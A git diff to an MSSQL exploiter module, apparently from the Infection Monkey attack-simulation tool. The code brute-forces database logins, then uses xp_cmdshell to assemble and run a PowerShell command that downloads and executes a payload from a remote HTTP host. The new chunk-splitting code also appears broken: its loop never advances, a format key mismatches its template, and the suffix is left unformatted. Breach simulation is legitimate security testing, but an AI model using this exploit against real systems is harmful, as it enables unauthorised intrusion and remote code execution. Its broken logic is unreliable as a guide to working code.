diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index e4eaf3151..a15801d12 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter):
     SQL_DEFAULT_TCP_PORT = '1433'
     # Temporary file that saves commands for monkey's download and execution.
     TMP_FILE_NAME = 'tmp_monkey.bat'
+    MAX_XP_CMDSHELL_SIZE = 128
+
+    EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \"<nul set /p="
+    EXPLOIT_COMMAND_SUFFIX = ">>%%(payload_file_path)s"
+    MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
+                              "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
@@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter):
         commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
         MSSQLExploiter.execute_command(cursor, commands)
 
-        # Form download command in a file
-        commands = [
-            "xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
-            "xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
-            "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
+        # Form download command
+        download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path}
+        # Form suffix
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
+
+        exploit_command = MSSQLCommand(download_command,
+                                       prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX,
+                                       suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX,
+                                       max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE)
+        # Split command into chunks mssql xp_cmdshell can execute
+        commands = exploit_command.split_into_array_of_smaller_strings()
+
         MSSQLExploiter.execute_command(cursor, commands)
         MSSQLExploiter.run_file(cursor, tmp_file_path)
         self.add_executed_cmd(' '.join(commands))
@@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter):
 
     def brute_force(self, host, port, users_passwords_pairs_list):
         """
-            Starts the brute force connection attempts and if needed then init the payload process.
-            Main loop starts here.
+        Starts the brute force connection attempts and if needed then init the payload process.
+        Main loop starts here.
 
-            Args:
-                host (str): Host ip address
-                port (str): Tcp port that the host listens to
-                users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
+        Args:
+            host (str): Host ip address
+            port (str): Tcp port that the host listens to
+            users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
 
-            Return:
-                True or False depends if the whole bruteforce and attack process was completed successfully or not
-            """
+        Return:
+            True or False depends if the whole bruteforce and attack process was completed successfully or not
+        """
         # Main loop
         # Iterates on users list
         for user, password in users_passwords_pairs_list:
@@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter):
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
         return None
+
+
+class MSSQLCommand(object):
+
+    def __init__(self, command, max_length, prefix="", suffix=""):
+        self.command = command
+        self.max_length = max_length
+        self.prefix = prefix
+        self.suffix = suffix
+
+    def get_full_command(self, command):
+        return "{}{}{}".format(self.prefix, command, self.suffix)
+
+    def split_into_array_of_smaller_strings(self):
+        remaining_command_to_split = self.command
+        commands = []
+        while self.command_is_too_long(self.get_full_command(remaining_command_to_split)):
+            command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split)
+            commands.append(self.get_full_command(command_of_max_len))
+        if remaining_command_to_split:
+            commands.append(remaining_command_to_split)
+        return commands
+
+    def split_at_max_length(self, command):
+        substring_size = self.max_length - len(self.prefix) - len(self.command) - 1
+        return self.get_full_command(command[0:substring_size]), command[substring_size:]
+
+    def command_is_too_long(self, command):
+        return len(command)+len(self.prefix)+len(self.suffix) > self.max_length